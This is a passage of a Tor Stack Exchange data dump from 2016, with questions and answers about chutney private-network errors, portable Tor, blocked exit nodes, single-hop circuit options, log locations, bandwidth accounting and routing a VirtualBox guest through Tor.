&#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingDirAuthVoteGuard *'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'Sandbox 1'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingServerDownloadSchedule 0, 5'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingServerConsensusDownloadSchedule 0, 5'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingDirAuthVoteExit *'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingDirAuthVoteHSDir *'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingDirAuthVoteGuard *'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'Sandbox 1'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingServerDownloadSchedule 0, 5'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingServerConsensusDownloadSchedule 0, 5'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingDirAuthVoteExit *'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingDirAuthVoteHSDir *'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingDirAuthVoteGuard *'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'Sandbox 1'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingServerDownloadSchedule 0, 5'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingServerConsensusDownloadSchedule 0, 5'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingDirAuthVoteExit *'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingDirAuthVoteHSDir *'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingDirAuthVoteGuard *'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'Sandbox 1'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingServerDownloadSchedule 0, 5'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingServerConsensusDownloadSchedule 0, 5'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingDirAuthVoteExit *'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingDirAuthVoteHSDir *'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingDirAuthVoteGuard *'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'Sandbox 1'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingServerDownloadSchedule 0, 5'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingServerConsensusDownloadSchedule 0, 5'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingDirAuthVoteExit *'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingDirAuthVoteHSDir *'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingDirAuthVoteGuard *'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'Sandbox 1'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingServerDownloadSchedule 0, 5'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingServerConsensusDownloadSchedule 0, 5'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingDirAuthVoteExit *'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingDirAuthVoteHSDir *'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingDirAuthVoteGuard *'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'Sandbox 1'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingClientDownloadSchedule 0, 5'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingClientConsensusDownloadSchedule 0, 5'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingDirAuthVoteExit *'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingDirAuthVoteHSDir *'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingDirAuthVoteGuard *'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'Sandbox 1'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingClientDownloadSchedule 0, 5'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingClientConsensusDownloadSchedule 0, 5'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12511" LastEditorUserId="9291" LastEditDate="2016-05-20T08:55:33.853" LastActivityDate="2016-05-20T09:02:42.423" Title="How to set up private tor network with a chutney" Tags="|configuration|tor-browser-bundle|private|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10505" PostTypeId="2" ParentId="10504" CreationDate="2016-05-20T09:02:42.423" Score="1" Body="&lt;p&gt;You're missing an &lt;em&gt;actual&lt;/em&gt; versions of Tor in your system, it's all in your error logs. You have basically/mostly two types of error:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;binary not found&lt;/strong&gt; - you're missing &lt;code&gt;tor-gencert&lt;/code&gt; in message&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Cannot find tor-gencert binary 'tor-gencert'. Use CHUTNEY_TOR_GENCERT environment variable to set the path, or put the binary into $PATH.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Tor binary is old/improper version&lt;/strong&gt; - in all the messages like &#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line: 'the-line-tor-does-not-understands-in-it's-config'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Use a binary from Tor Git, it seems to be hitting &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/13161&quot; rel=&quot;nofollow&quot;&gt;an old bug of tor&lt;/a&gt; - it's already fixed. Confirmed in &lt;a href=&quot;https://github.com/torproject/chutney/blob/master/torrc_templates/authority.i&quot; rel=&quot;nofollow&quot;&gt;chutney source code itself&lt;/a&gt; :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;# Work around situations where the Exit, Guard and HSDir flags aren't being set &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;# These flags are all set eventually, but it takes Guard up to ~30 minutes&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;# We could be more precise here, but it's easiest just to vote everything&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;# Clients are sensible enough to filter out Exits without any exit ports,&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;# and Guards and HSDirs without ORPorts&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;# If your tor doesn't recognise TestingDirAuthVoteExit/HSDir,&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;# either update your chutney to a 2015 version,&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;# or update your tor to a later version, most likely 0.2.6.2-final&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-05-20T09:02:42.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10506" PostTypeId="1" AcceptedAnswerId="10507" CreationDate="2016-05-20T11:52:59.373" Score="1" ViewCount="611" Body="&lt;p&gt;I have tor browser bundle portable on a usb stick. When I plug it in, and run tor, it works fine. However, I copied the files to a folder on the computer itself. When I run tor from there, it does not work. When I run it, it appears to do something, but then nothing happens. If I try to run it again, a dialog box saying that it is already running appears. I'm using windows 7. Do I have to run the portable version off a USB? If I don't want to have to plug in a USB, do I have to install tor on the machine, instead of just running the portable files?&lt;/p&gt;&#xA;" OwnerUserId="12942" LastEditorUserId="88" LastEditDate="2016-05-23T11:47:52.250" LastActivityDate="2019-01-25T06:03:41.913" Title="Tor portable not running" Tags="|tor-browser-bundle|windows|help|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10507" PostTypeId="2" ParentId="10506" CreationDate="2016-05-20T12:55:00.163" Score="-1" Body="&lt;p&gt;it's not just copy-and-run : it's tweaked a bit to be executed from a separate disk(=your flash drive). It's about path's and directories, so either use a USB stick, or use an image on temporary ramdrive&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-05-20T12:55:00.163" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10508" PostTypeId="1" CreationDate="2016-05-20T16:34:39.670" Score="3" ViewCount="5345" Body="&lt;p&gt;I tried to visit a legitimate website while using TOR browser, and it couldn't load as the IP of the exit node was &quot;banned due to illegal activities&quot;. Then I tried to use &quot;new identity&quot; (another exit node) and eveything worked well. However, I am slightly worried about having accidentally used this suspicious exit node, which was maybe used by other Tor users for some crimimal activities! What should I do? &lt;/p&gt;&#xA;" OwnerUserId="12947" LastEditorUserId="88" LastEditDate="2016-05-23T22:39:25.517" LastActivityDate="2016-05-23T22:39:25.517" Title="Banned IP on website using Tor" Tags="|blocked-services|ip-address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10509" PostTypeId="2" ParentId="10508" CreationDate="2016-05-20T17:17:59.183" Score="3" Body="&lt;p&gt;If you were using the Tor Browser in the recommended way, then there's nothing to worry about; your real IP address won't have been exposed, and the site could only have seen the IP address of the exit node. The fact that the site blocked access means you didn't get as far as doing anything that might have made you traceable, like logging in with your personal details.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;banned due to illegal activities&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What is legal and not legal is dependent on various factors. What is legal in my country might not be legal in yours. By extension, what is legal in the country where the site is hosted might not be legal in your country. And so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In all likelihood, the term &quot;illegal activities&quot; is being used in the context of the site's rules, rather than the context of the general rule of law, but without knowing the context, we're really just speculating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that far more internet traffic flows through the clearnet than the Tor network, and it's likely a much larger amount of &quot;illegal activity&quot; is actually through nodes (routers) on the internet that &lt;em&gt;everyone&lt;/em&gt; uses, rather than just Tor users. However, if sites blacklisted these &quot;normal&quot; nodes, rather than just specific IP addresses, they'd lose far more traffic than they do by blocking Tor nodes (which appear as single IP addresses, but which actually translate to many more users).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short: the internet is full of &quot;illegal activity&quot;, it just makes more economic sense to more often block Tor exit nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Caveat: I haven't included any sources.]&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="1730" LastEditDate="2016-05-20T17:27:13.050" LastActivityDate="2016-05-20T17:27:13.050" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10510" PostTypeId="1" CreationDate="2016-05-20T23:51:07.107" Score="1" ViewCount="42" Body="&lt;p&gt;I read &lt;a href=&quot;https://security.stackexchange.com/questions/29772/how-do-you-get-a-specific-onion-address-for-your-hidden-service&quot;&gt;this&lt;/a&gt; one but didn't explain how to plug in your &quot;private_key&quot; properly. I have a &quot;private_key&quot; but I can't get it into the /var/lib/tor/hidden_service without changing the permissions and that mess's things up&lt;/p&gt;&#xA;" OwnerUserId="12955" OwnerDisplayName="Coleton O'Donnell" LastEditorUserId="14997" LastEditDate="2018-09-10T09:24:41.670" LastActivityDate="2018-09-10T09:24:41.670" Title="How do you make a custom .onion link?" Tags="|onion-services|private-key|" AnswerCount="0" CommentCount="2" ClosedDate="2016-05-24T20:08:54.537" ContentLicense="CC BY-SA 3.0" />
  <row Id="10511" PostTypeId="1" CreationDate="2016-05-21T00:18:33.653" Score="1" ViewCount="37" Body="&lt;p&gt;I can access most typical sites, such as GoGoDuck, checktorproject, and hiddenwiki, but I attempted(multiple times) to access the BB Compendium, Libera Tor, and other sites having to do with that sort of information, and kept getting a response saying:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Firefox can't establish a connection to the server at *****.onion&#xA;The site could be temporarily unavailable or too busy. Try again in a few moments. If you are unable to load any pages, check your computer's network connection. If your computer or network is protected by a firewall or proxy, make sure that Tor Browser is permitted to access the Web.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My firewall allows Tor to access the internet, I can access multiple stable sites, and I've been on the aforementioned sites before multiple times&lt;/p&gt;&#xA;" OwnerUserId="12950" LastActivityDate="2016-05-21T00:18:33.653" Title="TOR will access most links, but some that aren't related to a certain topic" Tags="|firefox|" AnswerCount="0" CommentCount="2" ClosedDate="2016-05-24T20:00:44.553" ContentLicense="CC BY-SA 3.0" />
  <row Id="10513" PostTypeId="1" AcceptedAnswerId="10514" CreationDate="2016-05-21T10:30:33.520" Score="3" ViewCount="1612" Body="&lt;pre&gt;&lt;code&gt;ExcludeSingleHopRelays 0&#xA;AllowSingleHopCircuits 1&#xA;AllowSingleHopExits 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does this configuration force Tor to behave just like common proxy without anonymity? How can I detect if Tor uses only one hop?&lt;/p&gt;&#xA;" OwnerUserId="6487" LastEditorUserId="401" LastEditDate="2016-05-21T18:38:16.297" LastActivityDate="2016-05-21T18:38:16.297" Title="How can I detect number of hops being used?" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10514" PostTypeId="2" ParentId="10513" CreationDate="2016-05-21T11:52:35.637" Score="4" Body="&lt;p&gt;Tor configuration is set either by:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the client (i.e. the Tor client running on your machine), or &lt;/li&gt;&#xA;&lt;li&gt;the server (i.e. the Tor relay).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Client-side configuration&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;These options are set by the user - i.e. &lt;em&gt;you&lt;/em&gt; - in the &lt;code&gt;.torrc&lt;/code&gt; file. This is under &lt;em&gt;your&lt;/em&gt; control. If you can't remember if you have set these options in the past, check your &lt;code&gt;.torrc&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ExcludeSingleHopRelays&lt;/code&gt; is a configuration option for &lt;strong&gt;clients&lt;/strong&gt;. By default this is set to &lt;code&gt;1&lt;/code&gt; (i.e. True) to prevent single-hop circuits from being used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;AllowSingleHopCircuits&lt;/code&gt; is also a configuration option for &lt;strong&gt;clients&lt;/strong&gt;. By default it's set to '0' to prevent single-hop circuits from being used.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Server-side configuration&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;These options are &lt;em&gt;not&lt;/em&gt; set by you, but by the person running the Tor relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;AllowSingleHopExits&lt;/code&gt; is a configuration option for &lt;strong&gt;servers&lt;/strong&gt;. It allows the relay to be the sole relay in a single-hop circuit. By default it is &lt;code&gt;0&lt;/code&gt; (i.e. False).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is this config forces Tor to behave just like common proxy without&#xA;  anonymity? How can i detect, if tor uses only 1 hop?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;These settings would allow you to use a single-hop circuit, but I don't believe they &lt;em&gt;force&lt;/em&gt; a single-hop circuit. (I've checked by setting the client-side options in my config file, navigating to a page using the Tor Browser, and checking the drop-down Tor Circuit box. It has a normal 3-hop circuit.)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;without anonymity?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not necessarily. The destination site will still see the IP address of the exit node (i.e. the only node in your circuit). They won't see your &lt;em&gt;original&lt;/em&gt; IP address. However, the single relay in your circuit &lt;em&gt;can&lt;/em&gt; see your original IP address, so you are less anonymous to the that node than you would be if you used a normal 3-hop circuit.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How can i detect, if tor uses only 1 hop?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You will know whether you have the client-side config options set in your &lt;code&gt;.torrc&lt;/code&gt;, because &lt;em&gt;you&lt;/em&gt; will have set them. At least with the Tor Browser you can check the hop count using the drop-down Tor Circuit box (by clicking on the onion icon).&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2016-05-21T11:52:35.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10515" PostTypeId="1" CreationDate="2016-05-21T13:04:14.323" Score="1" ViewCount="37" Body="&lt;p&gt;I use Tor to watch al jazeera. &#xA;I used the be able to watch their videos but lately what ever I do, I cannot watch them. &#xA;How to configure Tor and Flash Player to watch videos on al jazeera?&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="12956" LastActivityDate="2016-05-21T13:11:56.700" Title="Configuration question" Tags="|configuration|" AnswerCount="1" CommentCount="0" ClosedDate="2016-05-23T11:52:53.613" ContentLicense="CC BY-SA 3.0" />
  <row Id="10516" PostTypeId="2" ParentId="10515" CreationDate="2016-05-21T13:11:56.700" Score="0" Body="&lt;p&gt;You should try to use :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes {qa}&#xA;StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in your &lt;code&gt;torrc&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And also it would be very useful if you will add your torrc config to your question and tell us a little bit more about your setup - it will help us to help you&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-05-21T13:11:56.700" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10517" PostTypeId="2" ParentId="9641" CreationDate="2016-05-21T14:47:34.900" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/org/doc/ListOfServicesBlockingTor&quot; rel=&quot;nofollow&quot; title=&quot;A list of known websites that block Tor. The actual amount of sites blocking Tor will be greater.&quot;&gt;Many websites&lt;/a&gt; block Tor exit nodes because of abuse. The most likely explanation seems that logging in from Tor is blocked as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try a &lt;a href=&quot;https://torrentfreak.com/vpn-anonymous-review-160220/&quot; rel=&quot;nofollow&quot;&gt;VPN&lt;/a&gt; or an &lt;a href=&quot;https://en.wikipedia.org/wiki/Open_proxy&quot; rel=&quot;nofollow&quot;&gt;open proxy&lt;/a&gt; to see if you're able to access the site using these. Beware though: these don't offer the same level of anonymity protection as Tor, or perhaps none at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also try a &lt;a href=&quot;https://www.whatismyip.com/what-is-a-web-proxy/&quot; rel=&quot;nofollow&quot;&gt;web proxy&lt;/a&gt; (which can be used without hassle even inside Tor browser), but since these need to modify content sent and received in order to display the contents of the requested web page inside the web proxy site, they can (and sometimes will) steal login data even when the target website uses HTTPS. Also, web proxies are prone to IP address leaks, except when used through Tor browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that the IP addresses of VPN's and proxies may be blocked as well, but because of the sheer number of them it is harder for all of these to be blocked &amp;ndash; contrary to Tor, &lt;a href=&quot;//stackoverflow.com/q/9780038/1419007&quot; rel=&quot;nofollow&quot;&gt;which makes a list of exit nodes publicly available&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a final note, it may well be possible that the block extends beyond your IP address and is linked to the account you're trying to use. If none of these options yield positive results, you could try registering a different account and see if that works.&lt;/p&gt;&#xA;" OwnerUserId="401" LastActivityDate="2016-05-21T14:47:34.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10518" PostTypeId="1" CreationDate="2016-05-21T18:15:45.857" Score="1" ViewCount="87" Body="&lt;p&gt;I have set my &lt;strong&gt;Tor browser&lt;/strong&gt; to use only &lt;strong&gt;US&lt;/strong&gt; country using &lt;code&gt;ExitNodes&lt;/code&gt; but how can I also set it to use &lt;strong&gt;specific IP&lt;/strong&gt; and not a random one? If it can be done...&lt;/p&gt;&#xA;" OwnerUserId="12958" LastActivityDate="2016-05-21T18:15:45.857" Title="How can I set specific country and specific IP for Tor browser in Windows?" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="3" ClosedDate="2016-05-23T11:48:50.360" ContentLicense="CC BY-SA 3.0" />
  <row Id="10520" PostTypeId="1" AcceptedAnswerId="10521" CreationDate="2016-05-22T08:59:02.620" Score="2" ViewCount="387" Body="&lt;p&gt;On my FreeBSD tor isn't working correctly. But I can't see what is wrong because there is no log file.&#xA;There is a &lt;code&gt;tor&lt;/code&gt; directory in &lt;code&gt;/var/log/&lt;/code&gt; but this doesn't contain any files.&#xA;Does any know what the location of the tor log file is on freebsd?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I installed tor via &lt;code&gt;cd /usr/ports/security/tor &amp;amp;&amp;amp; make install clean&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="10771" LastActivityDate="2024-02-09T10:58:46.763" Title="Freebsd tor log file" Tags="|log|freebsd|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10521" PostTypeId="2" ParentId="10520" CreationDate="2016-05-22T09:20:35.170" Score="1" Body="&lt;p&gt;According to the &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#Logs&quot; rel=&quot;nofollow&quot;&gt;FAQ&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;If you compiled Tor from source&lt;/strong&gt;, by default your Tor logs to &quot;stdout&quot;&#xA;  at log-level notice. If you enable logs in your torrc file, they&#xA;  default to /usr/local/var/log/tor/.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You have a couple of options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Run Tor from the terminal and pass it the &lt;code&gt;-v&lt;/code&gt; flag to output logs to the console. (Though from the above description you should see them anyway.)&lt;/li&gt;&#xA;&lt;li&gt;Enable them in your &lt;code&gt;.torrc&lt;/code&gt; file, following the instructions &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#Logs&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. (Basically in the same part of the FAQ.)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2016-05-22T09:20:35.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10522" PostTypeId="1" AcceptedAnswerId="10549" CreationDate="2016-05-22T10:11:17.570" Score="0" ViewCount="234" Body="&lt;p&gt;Is it possible to restrict the traffic to max 150 GB per month.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More traffic is not available to me.&lt;/p&gt;&#xA;" OwnerUserId="12963" LastEditorUserId="88" LastEditDate="2016-05-23T22:40:20.163" LastActivityDate="2016-05-23T22:48:46.783" Title="Would offer a tor middle relay with OpenBSD 6.0" Tags="|configuration|onion-routing|openbsd|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10523" PostTypeId="2" ParentId="10522" CreationDate="2016-05-22T11:18:25.997" Score="0" Body="&lt;p&gt;Yes, you can do this through setting some &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#AccountingMax&quot; rel=&quot;nofollow&quot;&gt;Accounting options&lt;/a&gt; in your torrc file.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-05-22T11:18:25.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10525" PostTypeId="1" CreationDate="2016-05-22T15:29:32.693" Score="0" ViewCount="1194" Body="&lt;p&gt;I want to use tor on a guest system. I'm using Ubuntu both on host and guest system. How to torify virtualbox. i want to do via virtualbox settings not in guest.&lt;/p&gt;&#xA;" OwnerUserId="10184" LastActivityDate="2016-05-22T17:46:32.350" Title="How to use tor on ubuntu virtual machine?" Tags="|ubuntu|virtual-machine|" AnswerCount="1" CommentCount="2" ClosedDate="2016-05-22T21:09:32.617" ContentLicense="CC BY-SA 3.0" />
  <row Id="10526" PostTypeId="2" ParentId="10525" CreationDate="2016-05-22T17:46:32.350" Score="0" Body="&lt;p&gt;You're absolutely right about how the things should work! Here is how it's done :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make a dedicated network for your VM('s)&lt;/li&gt;&#xA;&lt;li&gt;Do &lt;strong&gt;not&lt;/strong&gt; use DHCP on it, let your host be 192.168.100.1 and the rest of them will be 2-250, for example, keep it a single network of Class C (/24 in CIDR mask)&lt;/li&gt;&#xA;&lt;li&gt;In your host, make a dedicated DNS server and use it as a &lt;strong&gt;non-forwarding one&lt;/strong&gt; : it resolves everything by itself, delegating dot-onion zone to the Tor. A Tor config must have DNSPort for it. it is done like this in ISC BIND(I highly recommend you to use it):&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;in Debian it's in /etc/bind/named.conf.default-zones&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;zone &quot;onion&quot; {&#xA; type forward;&#xA; forward only;&#xA; forwarders {&#xA;    127.0.0.2;&#xA; };&#xA;&#xA;add it at the end **before** all-closing curly and semicolon.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;Route all the traffic from 192.168.100.0/24 to 192.168.100.1 &lt;em&gt;directly&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Route all the rest of the traffic from 192.168.100.0/24 to TransPort of Tor&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you also need an extensive HS-related stuff, add VirtualMapping in tor config, and forward EVERYTHING to that destination to Tor's TransPort&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using IPTables, but you can use a pf for that too.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-05-22T17:46:32.350" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
